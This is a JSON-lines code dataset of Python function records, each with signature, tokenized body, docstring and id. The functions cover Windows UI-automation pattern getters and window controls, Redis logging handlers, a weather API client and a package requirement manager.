{"signature": "def GetInvokePattern(self) -> InvokePattern:", "body": "return self.GetPattern(PatternId.InvokePattern)<EOL>", "docstring": "Return `InvokePattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c92:m1"}
{"signature": "def GetValuePattern(self) -> ValuePattern:", "body": "return self.GetPattern(PatternId.ValuePattern)<EOL>", "docstring": "Return `ValuePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c92:m2"}
{"signature": "def GetGridItemPattern(self) -> GridItemPattern:", "body": "return self.GetPattern(PatternId.GridItemPattern)<EOL>", "docstring": "Return `GridItemPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c93:m1"}
{"signature": "def GetTableItemPattern(self) -> TableItemPattern:", "body": "return self.GetPattern(PatternId.TableItemPattern)<EOL>", "docstring": "Return `TableItemPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c93:m2"}
{"signature": "def GetGridPattern(self) -> GridPattern:", "body": "return self.GetPattern(PatternId.GridPattern)<EOL>", "docstring": "Return `GridPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c94:m1"}
{"signature": "def GetMultipleViewPattern(self) -> MultipleViewPattern:", "body": "return self.GetPattern(PatternId.MultipleViewPattern)<EOL>", "docstring": "Return `MultipleViewPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c94:m2"}
{"signature": "def GetScrollPattern(self) -> ScrollPattern:", "body": "return self.GetPattern(PatternId.ScrollPattern)<EOL>", "docstring": "Return `ScrollPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c94:m3"}
{"signature": "def GetSelectionPattern(self) -> SelectionPattern:", "body": "return self.GetPattern(PatternId.SelectionPattern)<EOL>", "docstring": "Return `SelectionPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c94:m4"}
{"signature": "def GetSelectionPattern(self) -> SelectionPattern:", "body": "return self.GetPattern(PatternId.SelectionPattern)<EOL>", "docstring": "Return `SelectionPattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c95:m1"}
{"signature": "def GetExpandCollapsePattern(self) -> ExpandCollapsePattern:", "body": "return self.GetPattern(PatternId.ExpandCollapsePattern)<EOL>", "docstring": "Return `ExpandCollapsePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c95:m2"}
{"signature": "def GetGridItemPattern(self) -> GridItemPattern:", "body": "return self.GetPattern(PatternId.GridItemPattern)<EOL>", "docstring": "Return `GridItemPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c95:m3"}
{"signature": "def GetInvokePattern(self) -> InvokePattern:", "body": "return self.GetPattern(PatternId.InvokePattern)<EOL>", "docstring": "Return `InvokePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c95:m4"}
{"signature": "def GetScrollItemPattern(self) -> ScrollItemPattern:", "body": "return self.GetPattern(PatternId.ScrollItemPattern)<EOL>", "docstring": "Return `ScrollItemPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c95:m5"}
{"signature": "def GetTogglePattern(self) -> TogglePattern:", "body": "return self.GetPattern(PatternId.TogglePattern)<EOL>", "docstring": "Return `TogglePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c95:m6"}
{"signature": "def GetValuePattern(self) -> ValuePattern:", "body": "return self.GetPattern(PatternId.ValuePattern)<EOL>", "docstring": "Return `ValuePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c95:m7"}
{"signature": "def GetDockPattern(self) -> DockPattern:", "body": "return self.GetPattern(PatternId.DockPattern)<EOL>", "docstring": "Return `DockPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c97:m1"}
{"signature": "def GetExpandCollapsePattern(self) -> ExpandCollapsePattern:", "body": "return self.GetPattern(PatternId.ExpandCollapsePattern)<EOL>", "docstring": "Return `ExpandCollapsePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c97:m2"}
{"signature": "def GetTransformPattern(self) -> TransformPattern:", "body": "return self.GetPattern(PatternId.TransformPattern)<EOL>", "docstring": "Return `TransformPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c97:m3"}
{"signature": "def GetExpandCollapsePattern(self) -> ExpandCollapsePattern:", "body": "return self.GetPattern(PatternId.ExpandCollapsePattern)<EOL>", "docstring": "Return `ExpandCollapsePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c98:m1"}
{"signature": "def GetInvokePattern(self) -> InvokePattern:", "body": "return self.GetPattern(PatternId.InvokePattern)<EOL>", "docstring": "Return `InvokePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c98:m2"}
{"signature": "def GetSelectionItemPattern(self) -> SelectionItemPattern:", "body": "return self.GetPattern(PatternId.SelectionItemPattern)<EOL>", "docstring": "Return `SelectionItemPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c98:m3"}
{"signature": "def GetTogglePattern(self) -> TogglePattern:", "body": "return self.GetPattern(PatternId.TogglePattern)<EOL>", "docstring": "Return `TogglePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c98:m4"}
{"signature": "def SetTopmost(self, isTopmost: bool = True, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "if self.IsTopLevel():<EOL><INDENT>ret = SetWindowTopmost(self.NativeWindowHandle, isTopmost)<EOL>time.sleep(waitTime)<EOL>return ret<EOL><DEDENT>return False<EOL>", "docstring": "Set top level window topmost.\nisTopmost: bool.\nwaitTime: float.", "id": "f1782:c99:m0"}
{"signature": "def Maximize(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "if self.IsTopLevel():<EOL><INDENT>return self.ShowWindow(SW.ShowMaximized, waitTime)<EOL><DEDENT>return False<EOL>", "docstring": "Set top level window maximize.", "id": "f1782:c99:m3"}
{"signature": "def Restore(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "if self.IsTopLevel():<EOL><INDENT>return self.ShowWindow(SW.Restore, waitTime)<EOL><DEDENT>return False<EOL>", "docstring": "Restore window to normal state.\nSimilar to SwitchToThisWindow.", "id": "f1782:c99:m7"}
{"signature": "def MoveToCenter(self) -> bool:", "body": "if self.IsTopLevel():<EOL><INDENT>rect = self.BoundingRectangle<EOL>screenWidth, screenHeight = GetScreenSize()<EOL>x, y = (screenWidth - rect.width()) // <NUM_LIT:2>, (screenHeight - rect.height()) // <NUM_LIT:2><EOL>if x < <NUM_LIT:0>: x = <NUM_LIT:0><EOL>if y < <NUM_LIT:0>: y = <NUM_LIT:0><EOL>return SetWindowPos(self.NativeWindowHandle, SWP.HWND_Top, x, y, <NUM_LIT:0>, <NUM_LIT:0>, SWP.SWP_NoSize)<EOL><DEDENT>return False<EOL>", "docstring": "Move window to screen center.", "id": "f1782:c99:m8"}
{"signature": "def SetActive(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "if self.IsTopLevel():<EOL><INDENT>handle = self.NativeWindowHandle<EOL>if IsIconic(handle):<EOL><INDENT>ret = ShowWindow(handle, SW.Restore)<EOL><DEDENT>elif not IsWindowVisible(handle):<EOL><INDENT>ret = ShowWindow(handle, SW.Show)<EOL><DEDENT>ret = SetForegroundWindow(handle)  <EOL>time.sleep(waitTime)<EOL>return ret<EOL><DEDENT>return False<EOL>", "docstring": "Set top level window active.", "id": "f1782:c99:m9"}
{"signature": "def GetDockPattern(self) -> DockPattern:", "body": "return self.GetPattern(PatternId.DockPattern)<EOL>", "docstring": "Return `DockPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c100:m1"}
{"signature": "def GetScrollPattern(self) -> ScrollPattern:", "body": "return self.GetPattern(PatternId.ScrollPattern)<EOL>", "docstring": "Return `ScrollPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c100:m2"}
{"signature": "def GetTransformPattern(self) -> TransformPattern:", "body": "return self.GetPattern(PatternId.TransformPattern)<EOL>", "docstring": "Return `TransformPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c100:m3"}
{"signature": "def GetRangeValuePattern(self) -> RangeValuePattern:", "body": "return self.GetPattern(PatternId.RangeValuePattern)<EOL>", "docstring": "Return `RangeValuePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c101:m1"}
{"signature": "def GetValuePattern(self) -> ValuePattern:", "body": "return self.GetPattern(PatternId.ValuePattern)<EOL>", "docstring": "Return `ValuePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c101:m2"}
{"signature": "def GetSelectionItemPattern(self) -> SelectionItemPattern:", "body": "return self.GetPattern(PatternId.SelectionItemPattern)<EOL>", "docstring": "Return `SelectionItemPattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c102:m1"}
{"signature": "def GetRangeValuePattern(self) -> RangeValuePattern:", "body": "return self.GetPattern(PatternId.RangeValuePattern)<EOL>", "docstring": "Return `RangeValuePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c103:m1"}
{"signature": "def GetRangeValuePattern(self) -> RangeValuePattern:", "body": "return self.GetPattern(PatternId.RangeValuePattern)<EOL>", "docstring": "Return `RangeValuePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c106:m1"}
{"signature": "def GetSelectionPattern(self) -> SelectionPattern:", "body": "return self.GetPattern(PatternId.SelectionPattern)<EOL>", "docstring": "Return `SelectionPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c106:m2"}
{"signature": "def GetValuePattern(self) -> ValuePattern:", "body": "return self.GetPattern(PatternId.ValuePattern)<EOL>", "docstring": "Return `ValuePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c106:m3"}
{"signature": "def GetRangeValuePattern(self) -> RangeValuePattern:", "body": "return self.GetPattern(PatternId.RangeValuePattern)<EOL>", "docstring": "Return `RangeValuePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c107:m1"}
{"signature": "def GetSelectionPattern(self) -> SelectionPattern:", "body": "return self.GetPattern(PatternId.SelectionPattern)<EOL>", "docstring": "Return `SelectionPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c107:m2"}
{"signature": "def GetValuePattern(self) -> ValuePattern:", "body": "return self.GetPattern(PatternId.ValuePattern)<EOL>", "docstring": "Return `ValuePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c107:m3"}
{"signature": "def GetExpandCollapsePattern(self) -> ExpandCollapsePattern:", "body": "return self.GetPattern(PatternId.ExpandCollapsePattern)<EOL>", "docstring": "Return `ExpandCollapsePattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c108:m1"}
{"signature": "def GetInvokePattern(self) -> InvokePattern:", "body": "return self.GetPattern(PatternId.InvokePattern)<EOL>", "docstring": "Return `InvokePattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c108:m2"}
{"signature": "def GetGridPattern(self) -> GridPattern:", "body": "return self.GetPattern(PatternId.GridPattern)<EOL>", "docstring": "Return `GridPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c109:m1"}
{"signature": "def GetSelectionPattern(self) -> SelectionPattern:", "body": "return self.GetPattern(PatternId.SelectionPattern)<EOL>", "docstring": "Return `SelectionPattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c110:m1"}
{"signature": "def GetScrollPattern(self) -> ScrollPattern:", "body": "return self.GetPattern(PatternId.ScrollPattern)<EOL>", "docstring": "Return `ScrollPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c110:m2"}
{"signature": "def GetSelectionItemPattern(self) -> SelectionItemPattern:", "body": "return self.GetPattern(PatternId.SelectionItemPattern)<EOL>", "docstring": "Return `SelectionItemPattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c111:m1"}
{"signature": "def GetGridPattern(self) -> GridPattern:", "body": "return self.GetPattern(PatternId.GridPattern)<EOL>", "docstring": "Return `GridPattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c112:m1"}
{"signature": "def GetGridItemPattern(self) -> GridItemPattern:", "body": "return self.GetPattern(PatternId.GridItemPattern)<EOL>", "docstring": "Return `GridItemPattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c112:m2"}
{"signature": "def GetTablePattern(self) -> TablePattern:", "body": "return self.GetPattern(PatternId.TablePattern)<EOL>", "docstring": "Return `TablePattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c112:m3"}
{"signature": "def GetTableItemPattern(self) -> TableItemPattern:", "body": "return self.GetPattern(PatternId.TableItemPattern)<EOL>", "docstring": "Return `TableItemPattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c112:m4"}
{"signature": "def GetGridItemPattern(self) -> GridItemPattern:", "body": "return self.GetPattern(PatternId.GridItemPattern)<EOL>", "docstring": "Return `GridItemPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c113:m1"}
{"signature": "def GetTableItemPattern(self) -> TableItemPattern:", "body": "return self.GetPattern(PatternId.TableItemPattern)<EOL>", "docstring": "Return `TableItemPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c113:m2"}
{"signature": "def GetTextPattern(self) -> TextPattern:", "body": "return self.GetPattern(PatternId.TextPattern)<EOL>", "docstring": "Return `TextPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c113:m3"}
{"signature": "def GetTransformPattern(self) -> TransformPattern:", "body": "return self.GetPattern(PatternId.TransformPattern)<EOL>", "docstring": "Return `TransformPattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c114:m1"}
{"signature": "def GetDockPattern(self) -> DockPattern:", "body": "return self.GetPattern(PatternId.DockPattern)<EOL>", "docstring": "Return `DockPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c116:m1"}
{"signature": "def GetExpandCollapsePattern(self) -> ExpandCollapsePattern:", "body": "return self.GetPattern(PatternId.ExpandCollapsePattern)<EOL>", "docstring": "Return `ExpandCollapsePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c116:m2"}
{"signature": "def GetTransformPattern(self) -> TransformPattern:", "body": "return self.GetPattern(PatternId.TransformPattern)<EOL>", "docstring": "Return `TransformPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c116:m3"}
{"signature": "def GetTextPattern(self) -> TextPattern:", "body": "return self.GetPattern(PatternId.TextPattern)<EOL>", "docstring": "Return `TextPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c117:m1"}
{"signature": "def GetWindowPattern(self) -> WindowPattern:", "body": "return self.GetPattern(PatternId.WindowPattern)<EOL>", "docstring": "Return `WindowPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c117:m2"}
{"signature": "def GetScrollPattern(self) -> ScrollPattern:", "body": "return self.GetPattern(PatternId.ScrollPattern)<EOL>", "docstring": "Return `ScrollPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c118:m1"}
{"signature": "def GetSelectionPattern(self) -> SelectionPattern:", "body": "return self.GetPattern(PatternId.SelectionPattern)<EOL>", "docstring": "Return `SelectionPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c118:m2"}
{"signature": "def GetExpandCollapsePattern(self) -> ExpandCollapsePattern:", "body": "return self.GetPattern(PatternId.ExpandCollapsePattern)<EOL>", "docstring": "Return `ExpandCollapsePattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c119:m1"}
{"signature": "def GetInvokePattern(self) -> InvokePattern:", "body": "return self.GetPattern(PatternId.InvokePattern)<EOL>", "docstring": "Return `InvokePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c119:m2"}
{"signature": "def GetScrollItemPattern(self) -> ScrollItemPattern:", "body": "return self.GetPattern(PatternId.ScrollItemPattern)<EOL>", "docstring": "Return `ScrollItemPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c119:m3"}
{"signature": "def GetSelectionItemPattern(self) -> SelectionItemPattern:", "body": "return self.GetPattern(PatternId.SelectionItemPattern)<EOL>", "docstring": "Return `SelectionItemPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c119:m4"}
{"signature": "def GetTogglePattern(self) -> TogglePattern:", "body": "return self.GetPattern(PatternId.TogglePattern)<EOL>", "docstring": "Return `TogglePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c119:m5"}
{"signature": "def GetTransformPattern(self) -> TransformPattern:", "body": "return self.GetPattern(PatternId.TransformPattern)<EOL>", "docstring": "Return `TransformPattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c120:m1"}
{"signature": "def GetWindowPattern(self) -> WindowPattern:", "body": "return self.GetPattern(PatternId.WindowPattern)<EOL>", "docstring": "Return `WindowPattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c120:m2"}
{"signature": "def GetDockPattern(self) -> DockPattern:", "body": "return self.GetPattern(PatternId.DockPattern)<EOL>", "docstring": "Return `DockPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c120:m3"}
{"signature": "def MetroClose(self, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "if self.ClassName == METRO_WINDOW_CLASS_NAME:<EOL><INDENT>screenWidth, screenHeight = GetScreenSize()<EOL>MoveTo(screenWidth // <NUM_LIT:2>, <NUM_LIT:0>, waitTime=<NUM_LIT:0>)<EOL>DragDrop(screenWidth // <NUM_LIT:2>, <NUM_LIT:0>, screenWidth // <NUM_LIT:2>, screenHeight, waitTime=waitTime)<EOL><DEDENT>else:<EOL><INDENT>Logger.WriteLine('<STR_LIT>', ConsoleColor.Yellow)<EOL><DEDENT>", "docstring": "Only work on Windows 8/8.1, if current window is Metro UI.\nwaitTime: float.", "id": "f1782:c120:m4"}
{"signature": "def format(self, record):", "body": "data = record._raw.copy()<EOL>data['<STR_LIT:time>'] = data['<STR_LIT:time>'].isoformat()<EOL>if data.get('<STR_LIT>'):<EOL><INDENT>data['<STR_LIT>'] = self.formatException(data['<STR_LIT>'])<EOL><DEDENT>return json.dumps(data)<EOL>", "docstring": "JSON-encode a record for serializing through redis.\n\nConvert date to iso format, and stringify any exceptions.", "id": "f1786:c0:m0"}
{"signature": "def __init__(self, channel, redis_client, level=logging.NOTSET):", "body": "logging.Handler.__init__(self, level)<EOL>self.channel = channel<EOL>self.redis_client = redis_client<EOL>self.formatter = RedisFormatter()<EOL>", "docstring": "Create a new logger for the given channel and redis_client.", "id": "f1786:c1:m1"}
{"signature": "def emit(self, record):", "body": "try:<EOL><INDENT>self.redis_client.publish(self.channel, self.format(record))<EOL><DEDENT>except redis.RedisError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Publish record to redis logging channel", "id": "f1786:c1:m2"}
{"signature": "def __init__(self, key, max_messages, redis_client, level=logging.NOTSET):", "body": "logging.Handler.__init__(self, level)<EOL>self.key = key<EOL>self.redis_client = redis_client<EOL>self.formatter = RedisFormatter()<EOL>self.max_messages = max_messages<EOL>", "docstring": "Create a new logger for the given key and redis_client.", "id": "f1786:c2:m1"}
{"signature": "def emit(self, record):", "body": "try:<EOL><INDENT>if self.max_messages:<EOL><INDENT>p = self.redis_client.pipeline()<EOL>p.rpush(self.key, self.format(record))<EOL>p.ltrim(self.key, -self.max_messages, -<NUM_LIT:1>)<EOL>p.execute()<EOL><DEDENT>else:<EOL><INDENT>self.redis_client.rpush(self.key, self.format(record))<EOL><DEDENT><DEDENT>except redis.RedisError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Publish record to redis logging list", "id": "f1786:c2:m2"}
{"signature": "def _getCallingContext():", "body": "frames = inspect.stack()<EOL>if len(frames) > <NUM_LIT:4>:<EOL><INDENT>context = frames[<NUM_LIT:5>]<EOL><DEDENT>else:<EOL><INDENT>context = frames[<NUM_LIT:0>]<EOL><DEDENT>modname = context[<NUM_LIT:1>]<EOL>lineno = context[<NUM_LIT:2>]<EOL>if context[<NUM_LIT:3>]:<EOL><INDENT>funcname = context[<NUM_LIT:3>]<EOL><DEDENT>else:<EOL><INDENT>funcname = \"<STR_LIT>\"<EOL><DEDENT>del context<EOL>del frames<EOL>return modname, funcname, lineno<EOL>", "docstring": "Utility function for the RedisLogRecord.\n\nReturns the module, function, and lineno of the function \nthat called the logger.  \n\nWe look way up in the stack.  The stack at this point is:\n[0] logger.py _getCallingContext (hey, that's me!)\n[1] logger.py __init__\n[2] logger.py makeRecord\n[3] _log\n[4] <logging method>\n[5] caller of logging method", "id": "f1787:m1"}
{"signature": "def autocomplete(query, country=None, hurricanes=False, cities=True, timeout=<NUM_LIT:5>):", "body": "data = {}<EOL>data['<STR_LIT>'] = quote(query)<EOL>data['<STR_LIT>'] = country or '<STR_LIT>'<EOL>data['<STR_LIT>'] = <NUM_LIT:1> if hurricanes else <NUM_LIT:0><EOL>data['<STR_LIT>'] = <NUM_LIT:1> if cities else <NUM_LIT:0><EOL>data['<STR_LIT>'] = '<STR_LIT>'<EOL>r = requests.get(AUTOCOMPLETE_URL.format(**data), timeout=timeout)<EOL>results = json.loads(r.content)['<STR_LIT>']<EOL>return results<EOL>", "docstring": "Make an autocomplete API request\n\n    This can be used to find cities and/or hurricanes by name\n\n    :param string query: city\n    :param string country: restrict search to a specific country. Must be a two letter country code\n    :param boolean hurricanes: whether to search for hurricanes or not\n    :param boolean cities: whether to search for cities or not\n    :param integer timeout: timeout of the api request\n    :returns: result of the autocomplete API request\n    :rtype: dict", "id": "f1791:m0"}
{"signature": "def request(key, features, query, timeout=<NUM_LIT:5>):", "body": "data = {}<EOL>data['<STR_LIT:key>'] = key<EOL>data['<STR_LIT>'] = '<STR_LIT:/>'.join([f for f in features if f in FEATURES])<EOL>data['<STR_LIT>'] = quote(query)<EOL>data['<STR_LIT>'] = '<STR_LIT>'<EOL>r = requests.get(API_URL.format(**data), timeout=timeout)<EOL>results = json.loads(_unicode(r.content))<EOL>return results<EOL>", "docstring": "Make an API request\n\n    :param string key: API key to use\n    :param list features: features to request. It must be a subset of :data:`FEATURES`\n    :param string query: query to send\n    :param integer timeout: timeout of the request\n    :returns: result of the API request\n    :rtype: dict", "id": "f1791:m1"}
{"signature": "def _unicode(string):", "body": "for encoding in ['<STR_LIT:utf-8>', '<STR_LIT>']:<EOL><INDENT>try:<EOL><INDENT>result = unicode(string, encoding)<EOL>return result<EOL><DEDENT>except UnicodeDecodeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>result = unicode(string, '<STR_LIT:utf-8>', '<STR_LIT:replace>')<EOL>return result<EOL>", "docstring": "Try to convert a string to unicode using different encodings", "id": "f1791:m2"}
{"signature": "def __init__(self, req, required=False):", "body": "self.requirement = req<EOL>self.required = required<EOL>self.required_by = None<EOL>", "docstring": ":param pkg_resources.Requirement req:\n:param bool required: Is this requirement required to be fulfilled? If not, then it is a filter.", "id": "f1794:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def parse(cls, s, required=False):<DEDENT>", "body": "req = pkg_resources.Requirement.parse(s)<EOL>return cls(req, required=required)<EOL>", "docstring": "Parse string to create an instance\n\n:param str s: String with requirement to parse\n:param bool required: Is this requirement required to be fulfilled? If not, then it is a filter.", "id": "f1794:c1:m1"}
{"signature": "def __init__(self, requirements=None):", "body": "self.requirements = defaultdict(list)<EOL>self.matched_name = False<EOL>self.checked = []<EOL>if requirements:<EOL><INDENT>self.add(requirements)<EOL><DEDENT>", "docstring": ":param list requirements: List of requirements to manage", "id": "f1794:c2:m0"}
{"signature": "def add(self, requirements, required=None):", "body": "if isinstance(requirements, RequirementsManager):<EOL><INDENT>requirements = list(requirements)<EOL><DEDENT>elif not isinstance(requirements, list):<EOL><INDENT>requirements = [requirements]<EOL><DEDENT>for req in requirements:<EOL><INDENT>name = req.project_name<EOL>if not isinstance(req, BumpRequirement):<EOL><INDENT>req = BumpRequirement(req, required=required)<EOL><DEDENT>elif required is not None:<EOL><INDENT>req.required = required<EOL><DEDENT>add = True<EOL>if name in self.requirements:<EOL><INDENT>for existing_req in self.requirements[name]:<EOL><INDENT>if req == existing_req:<EOL><INDENT>add = False<EOL>break<EOL><DEDENT>replace = False<EOL>if (req.specs and req.specs[<NUM_LIT:0>][<NUM_LIT:0>] == '<STR_LIT>' and existing_req.specs and<EOL>existing_req.specs[<NUM_LIT:0>][<NUM_LIT:0>] == '<STR_LIT>'):<EOL><INDENT>if pkg_resources.parse_version(req.specs[<NUM_LIT:0>][<NUM_LIT:1>]) < pkg_resources.parse_version(<EOL>existing_req.specs[<NUM_LIT:0>][<NUM_LIT:1>]):<EOL><INDENT>req.requirement = existing_req.requirement<EOL><DEDENT>replace = True<EOL><DEDENT>if not (req.specs and existing_req.specs):<EOL><INDENT>if existing_req.specs:<EOL><INDENT>req.requirement = existing_req.requirement<EOL><DEDENT>replace = True<EOL><DEDENT>if replace:<EOL><INDENT>req.required |= existing_req.required<EOL>if existing_req.required_by and not req.required_by:<EOL><INDENT>req.required_by = existing_req.required_by<EOL><DEDENT>self.requirements[name].remove(existing_req)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if add:<EOL><INDENT>self.requirements[name].append(req)<EOL><DEDENT><DEDENT>", "docstring": "Add requirements to be managed\n\n:param list/Requirement requirements: List of :class:`BumpRequirement` or :class:`pkg_resources.Requirement`\n:param bool required: Set required flag for each requirement if provided.", "id": "f1794:c2:m5"}
{"signature": "def check(self, context, version=None):", "body": "req_str = None<EOL>self.checked.append((context, version))<EOL>if isinstance(context, str) and not version:<EOL><INDENT>context = BumpRequirement.parse(context)<EOL><DEDENT>if isinstance(context, Bump):<EOL><INDENT>name = context.name<EOL>if context.new_version and context.new_version[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>version = context.new_version[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>req_str = str(context)<EOL><DEDENT><DEDENT>elif isinstance(context, (pkg_resources.Requirement, BumpRequirement)):<EOL><INDENT>name = context.project_name<EOL>if context.specs and context.specs[<NUM_LIT:0>][<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>version = context.specs[<NUM_LIT:0>][<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>req_str = str(context)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>name = context<EOL><DEDENT>if name in self:<EOL><INDENT>self.matched_name = True<EOL>for req in self[name]:<EOL><INDENT>if req.required and (version and version in req or req_str == str(req)):<EOL><INDENT>req.required = False<EOL>return True<EOL><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Check off requirements that are met by name/version.\n\n:param str|Bump|Requirement context: Either package name, requirement string, :class:`Bump`,\n                                     :class:`BumpRequirement`, or\n                                     :class:`pkg_resources.Requirement instance\n:return: True if any requirement was satisified by context", "id": "f1794:c2:m7"}
{"signature": "def satisfied_by_checked(self, req):", "body": "req_man = RequirementsManager([req])<EOL>return any(req_man.check(*checked) for checked in self.checked)<EOL>", "docstring": "Check if requirement is already satisfied by what was previously checked\n\n:param Requirement req: Requirement to check", "id": "f1794:c2:m8"}
{"signature": "def __init__(self, name, new_version=None, changes=None, requirements=None):", "body": "self.name = name<EOL>self.new_version = new_version<EOL>self.changes = changes or []<EOL>self.requirements = []<EOL>if requirements:<EOL><INDENT>self.require(requirements)<EOL><DEDENT>", "docstring": ":param str name: Name of the product/library that was bumped\n:param tuple new_version: New version that was bumped to in (op, version) format.\n:param list changes: Detailed changelog entries from the old version to the new version\n:param str|list requirements: Any requirements that must be fulfilled for this bump to occur.", "id": "f1794:c3:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_requirement(cls, req, changes=None):<DEDENT>", "body": "return cls(req.project_name, req.specs and '<STR_LIT>'.join(req.specs[<NUM_LIT:0>]) or '<STR_LIT>', changes=changes)<EOL>", "docstring": "Create an instance from :class:`pkg_resources.Requirement` instance", "id": "f1794:c3:m5"}
{"signature": "def as_requirement(self):", "body": "if self.new_version:<EOL><INDENT>return pkg_resources.Requirement.parse(self.name + '<STR_LIT>'.join(self.new_version))<EOL><DEDENT>else:<EOL><INDENT>return pkg_resources.Requirement.parse(self.name)<EOL><DEDENT>", "docstring": "Convert back to a :class:`pkg_resources.Requirement` instance", "id": "f1794:c3:m6"}
{"signature": "def require(self, req):", "body": "reqs = req if isinstance(req, list) else [req]<EOL>for req in reqs:<EOL><INDENT>if not isinstance(req, BumpRequirement):<EOL><INDENT>req = BumpRequirement(req)<EOL><DEDENT>req.required = True<EOL>req.required_by = self<EOL>self.requirements.append(req)<EOL><DEDENT>", "docstring": "Add new requirements that must be fulfilled for this bump to occur", "id": "f1794:c3:m7"}
